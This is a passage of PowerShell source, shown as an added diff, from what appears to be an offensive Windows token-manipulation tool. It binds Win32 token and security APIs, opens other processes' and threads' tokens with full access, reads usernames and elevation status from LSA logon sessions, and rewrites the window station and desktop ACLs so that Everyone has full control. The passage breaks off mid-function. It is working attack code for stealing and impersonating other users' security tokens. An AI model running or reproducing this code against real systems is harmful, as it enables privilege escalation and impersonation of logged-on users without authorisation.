$ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser + $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $ImpersonateLoggedOnUser = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate) + + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $LsaGetLogonSessionDataAddr = Get-ProcAddress secur32.dll LsaGetLogonSessionData + $LsaGetLogonSessionDataDelegate = Get-DelegateType @([IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) + $LsaGetLogonSessionData = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaGetLogonSessionDataAddr, $LsaGetLogonSessionDataDelegate) + + $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW + $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + + $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx + $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) + + $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW + $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) + $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) + + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer + $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) + + $OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread + $OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate) + + $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + + $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW + $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate) + + $OpenWindowStationWAddr = Get-ProcAddress user32.dll OpenWindowStationW + $OpenWindowStationWDelegate = Get-DelegateType @([IntPtr], [Bool], [UInt32]) ([IntPtr]) + $OpenWindowStationW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenWindowStationWAddr, $OpenWindowStationWDelegate) + + $OpenDesktopAAddr = Get-ProcAddress user32.dll OpenDesktopA + $OpenDesktopADelegate = Get-DelegateType @([String], [UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenDesktopA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenDesktopAAddr, $OpenDesktopADelegate) + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + + $GetSecurityInfoAddr = Get-ProcAddress advapi32.dll GetSecurityInfo + $GetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType()) ([UInt32]) + $GetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetSecurityInfoAddr, $GetSecurityInfoDelegate) + + $SetSecurityInfoAddr = Get-ProcAddress advapi32.dll SetSecurityInfo + $SetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32]) + $SetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetSecurityInfoAddr, $SetSecurityInfoDelegate) + + $GetAceAddr = Get-ProcAddress advapi32.dll GetAce + $GetAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([IntPtr]) + $GetAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAceAddr, $GetAceDelegate) + + $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW + $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) + $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) + + $AddAccessAllowedAceAddr = Get-ProcAddress advapi32.dll AddAccessAllowedAce + $AddAccessAllowedAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr]) ([Bool]) + $AddAccessAllowedAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AddAccessAllowedAceAddr, $AddAccessAllowedAceDelegate) + + $CreateWellKnownSidAddr = Get-ProcAddress advapi32.dll CreateWellKnownSid + $CreateWellKnownSidDelegate = Get-DelegateType @([UInt32], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) + $CreateWellKnownSid = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateWellKnownSidAddr, $CreateWellKnownSidDelegate) + + $SetEntriesInAclWAddr = Get-ProcAddress advapi32.dll SetEntriesInAclW + $SetEntriesInAclWDelegate = Get-DelegateType @([UInt32], $EXPLICIT_ACCESS.MakeByRefType(), [IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) + $SetEntriesInAclW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetEntriesInAclWAddr, $SetEntriesInAclWDelegate) + + $LocalFreeAddr = Get-ProcAddress kernel32.dll LocalFree + $LocalFreeDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) + + $LookupPrivilegeNameWAddr = Get-ProcAddress advapi32.dll LookupPrivilegeNameW + $LookupPrivilegeNameWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) + $LookupPrivilegeNameW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeNameWAddr, $LookupPrivilegeNameWDelegate) + ############################### + + + #Used to add 64bit memory addresses + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + #Enable SeSecurityPrivilege, needed to query security information for desktop DACL + function Enable-SeSecurityPrivilege + { + [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq $false) + { + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + } + else + { + Throw ([ComponentModel.Win32Exception] $ErrorCode) + } + } + + $CloseHandle.Invoke($ThreadHandle) | Out-Null + + $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) + $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + + $Result = $LookupPrivilegeValue.Invoke($null, "SeSecurityPrivilege", [Ref] $LuidObject) + + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) + $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) + + $LuidAndAttributes.Luid = $LuidObject + $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) + $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges = $LuidAndAttributes + + $Global:TokenPriv = $TokenPrivileges + + $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $CloseHandle.Invoke($ThreadToken) | Out-Null + } + + + #Change the ACL of the WindowStation and Desktop + function Set-DesktopACLs + { + Enable-SeSecurityPrivilege + + #Change the privilege for the current window station to allow full privilege for all users + $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0") + $hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC) + + if ($hWinsta -eq [IntPtr]::Zero) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + Set-DesktopACLToAllowEveryone -hObject $hWinsta + $CloseHandle.Invoke($hWinsta) | Out-Null + + #Change the privilege for the current desktop to allow full privilege for all users + $hDesktop = $OpenDesktopA.Invoke("default", 0, $false, $Win32Constants.DESKTOP_GENERIC_ALL -bor $Win32Constants.WRITE_DAC) + if ($hDesktop -eq [IntPtr]::Zero) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + Set-DesktopACLToAllowEveryone -hObject $hDesktop + $CloseHandle.Invoke($hDesktop) | Out-Null + } + + + function Set-DesktopACLToAllowEveryone + { + Param( + [IntPtr]$hObject + ) + + [IntPtr]$ppSidOwner = [IntPtr]::Zero + [IntPtr]$ppsidGroup = [IntPtr]::Zero + [IntPtr]$ppDacl = [IntPtr]::Zero + [IntPtr]$ppSacl = [IntPtr]::Zero + [IntPtr]$ppSecurityDescriptor = [IntPtr]::Zero + #0x7 is window station, change for other types + $retVal = $GetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, [Ref]$ppSidOwner, [Ref]$ppSidGroup, [Ref]$ppDacl, [Ref]$ppSacl, [Ref]$ppSecurityDescriptor) + if ($retVal -ne 0) + { + Write-Error "Unable to call GetSecurityInfo. ErrorCode: $retVal" + } + + if ($ppDacl -ne [IntPtr]::Zero) + { + $AclObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ppDacl, [Type]$ACL) + + #Add all users to acl + [UInt32]$RealSize = 2000 + $pAllUsersSid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($RealSize) + $Success = $CreateWellKnownSid.Invoke(1, [IntPtr]::Zero, $pAllUsersSid, [Ref]$RealSize) + if (-not $Success) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + #For user "Everyone" + $TrusteeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TRUSTEE) + $TrusteePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TrusteeSize) + $TrusteeObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TrusteePtr, [Type]$TRUSTEE) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TrusteePtr) + $TrusteeObj.pMultipleTrustee = [IntPtr]::Zero + $TrusteeObj.MultipleTrusteeOperation = 0 + $TrusteeObj.TrusteeForm = $Win32Constants.TRUSTEE_IS_SID + $TrusteeObj.TrusteeType = $Win32Constants.TRUSTEE_IS_WELL_KNOWN_GROUP + $TrusteeObj.ptstrName = $pAllUsersSid + + #Give full permission + $ExplicitAccessSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$EXPLICIT_ACCESS) + $ExplicitAccessPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ExplicitAccessSize) + $ExplicitAccess = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExplicitAccessPtr, [Type]$EXPLICIT_ACCESS) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ExplicitAccessPtr) + $ExplicitAccess.grfAccessPermissions = 0xf03ff + $ExplicitAccess.grfAccessMode = $Win32constants.GRANT_ACCESS + $ExplicitAccess.grfInheritance = $Win32Constants.OBJECT_INHERIT_ACE + $ExplicitAccess.Trustee = $TrusteeObj + + [IntPtr]$NewDacl = [IntPtr]::Zero + + $RetVal = $SetEntriesInAclW.Invoke(1, [Ref]$ExplicitAccess, $ppDacl, [Ref]$NewDacl) + if ($RetVal -ne 0) + { + Write-Error "Error calling SetEntriesInAclW: $RetVal" + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAllUsersSid) + + if ($NewDacl -eq [IntPtr]::Zero) + { + throw "New DACL is null" + } + + #0x7 is window station, change for other types + $RetVal = $SetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, $ppSidOwner, $ppSidGroup, $NewDacl, $ppSacl) + if ($RetVal -ne 0) + { + Write-Error "SetSecurityInfo failed. Return value: $RetVal" + } + + $LocalFree.Invoke($ppSecurityDescriptor) | Out-Null + } + } + + + #Get the primary token for the specified processId + function Get-PrimaryToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ProcessId, + + #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. + [Parameter()] + [Switch] + $FullPrivs + ) + + if ($FullPrivs) + { + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + } + else + { + $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY + } + + $ReturnStruct = New-Object PSObject + + $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess + if ($hProcess -eq [IntPtr]::Zero) + { + #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." + return $null + } + else + { + [IntPtr]$hProcToken = [IntPtr]::Zero + $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) + + #Close the handle to hProcess (the process handle) + if (-not $CloseHandle.Invoke($hProcess)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hProcess = [IntPtr]::Zero + + if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" + return $null + } + else + { + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken + } + } + + return $ReturnStruct + } + + + function Get-ThreadToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ThreadId + ) + + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + + $RetStruct = New-Object PSObject + [IntPtr]$hThreadToken = [IntPtr]::Zero + + $hThread = $OpenThread.Invoke($Win32Constants.THREAD_ALL_ACCESS, $false, $ThreadId) + if ($hThread -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER) #The thread probably no longer exists + { + Write-Warning "Failed to open thread handle for ThreadId: $ThreadId. Error code: $ErrorCode" + } + } + else + { + $Success = $OpenThreadToken.Invoke($hThread, $TokenPrivs, $false, [Ref]$hThreadToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if (($ErrorCode -ne $Win32Constants.ERROR_NO_TOKEN) -and #This error is returned when the thread isn't impersonated + ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER)) #Probably means the thread was closed + { + Write-Warning "Failed to call OpenThreadToken for ThreadId: $ThreadId. Error code: $ErrorCode" + } + } + else + { + Write-Verbose "Successfully queried thread token" + } + + #Close the handle to hThread (the thread handle) + if (-not $CloseHandle.Invoke($hThread)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close thread handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hThread = [IntPtr]::Zero + } + + $RetStruct | Add-Member -MemberType NoteProperty -Name hThreadToken -Value $hThreadToken + return $RetStruct + } + + + #Gets important information about the token such as the logon type associated with the logon + function Get-TokenInformation + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken + ) + + $ReturnObj = $null + + $TokenStatsSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_STATISTICS) + [IntPtr]$TokenStatsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenStatsSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenStatistics, $TokenStatsPtr, $TokenStatsSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed. Error code: $ErrorCode" + } + else + { + $TokenStats = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenStatsPtr, [Type]$TOKEN_STATISTICS) + + #Query LSA to determine what the logontype of the session is that the token corrosponds to, as well as the username/domain of the logon + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenStats.AuthenticationId, $LuidPtr, $false) + + [IntPtr]$LogonSessionDataPtr = [IntPtr]::Zero + $ReturnVal = $LsaGetLogonSessionData.Invoke($LuidPtr, [Ref]$LogonSessionDataPtr) + if ($ReturnVal -ne 0 -and $LogonSessionDataPtr -eq [IntPtr]::Zero) + { + Write-Warning "Call to LsaGetLogonSessionData failed. Error code: $ReturnVal. LogonSessionDataPtr = $LogonSessionDataPtr" + } + else + { + $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA) + if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and + $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero) + { + #Get the username and domainname associated with the token + $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.Username.Buffer, $LogonSessionData.Username.Length/2) + $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2) + + #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE) + #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account + #results in querying the domain controller which is unwanted. + if ($Username -ieq "$($env:COMPUTERNAME)`$") + { + [UInt32]$Size = 100 + [UInt32]$NumUsernameChar = $Size / 2 + [UInt32]$NumDomainChar = $Size / 2 + [UInt32]$SidNameUse = 0 + $UsernameBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) + $DomainBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) + $Success = $LookupAccountSidW.Invoke([IntPtr]::Zero, $LogonSessionData.Sid, $UsernameBuffer, [Ref]$NumUsernameChar, $DomainBuffer, [Ref]$NumDomainChar, [Ref]$SidNameUse) + + if ($Success) + { + $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($UsernameBuffer) + $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($DomainBuffer) + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Error calling LookupAccountSidW. Error code: $ErrorCode" + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UsernameBuffer) + $UsernameBuffer = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($DomainBuffer) + $DomainBuffer = [IntPtr]::Zero + } + + $ReturnObj = New-Object PSObject + $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain + $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username + $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken + $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType + + + #Query additional info about the token such as if it is elevated + $ReturnObj | Add-Member -Type NoteProperty -Name IsElevated -Value $false + + $TokenElevationSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_ELEVATION) + $TokenElevationPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenElevationSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenElevation, $TokenElevationPtr, $TokenElevationSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode" + } + else + { + $TokenElevation = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenelevationPtr, [Type]$TOKEN_ELEVATION) + if ($TokenElevation.TokenIsElevated -ne 0) + { + $ReturnObj.IsElevated = $true + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenElevationPtr) + + + #Query the token type to determine if the token is a primary or impersonation token + $ReturnObj | Add-Member -Type NoteProperty -Name TokenType -Value "UnableToRetrieve" + + [UInt32]$TokenTypeSize = 4 + [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypeSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenType, $TokenTypePtr, $TokenTypeSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$TokenType = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenTypePtr, [Type][UInt32]) + switch($TokenType) + { + 1 {$ReturnObj.TokenType = "Primary"} + 2 {$ReturnObj.TokenType = "Impersonation"} + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr) + + + #Query the impersonation level if the token is an Impersonation token + if ($ReturnObj.TokenType -ieq "Impersonation") + { + $ReturnObj | Add-Member -Type NoteProperty -Name ImpersonationLevel -Value "UnableToRetrieve" + + [UInt32]$ImpersonationLevelSize = 4 + [IntPtr]$ImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ImpersonationLevelSize) #sizeof uint32 + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenImpersonationLevel, $ImpersonationLevelPtr, $ImpersonationLevelSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$ImpersonationLevel = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImpersonationLevelPtr, [Type][UInt32]) + switch ($ImpersonationLevel) + { + 0 { $ReturnObj.ImpersonationLevel = "SecurityAnonymous" } + 1 { $ReturnObj.ImpersonationLevel = "SecurityIdentification" } + 2 { $ReturnObj.ImpersonationLevel = "SecurityImpersonation" } + 3 { $ReturnObj.ImpersonationLevel = "SecurityDelegation" } + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ImpersonationLevelPtr) + } + + + #Query the token sessionid + $ReturnObj | Add-Member -Type 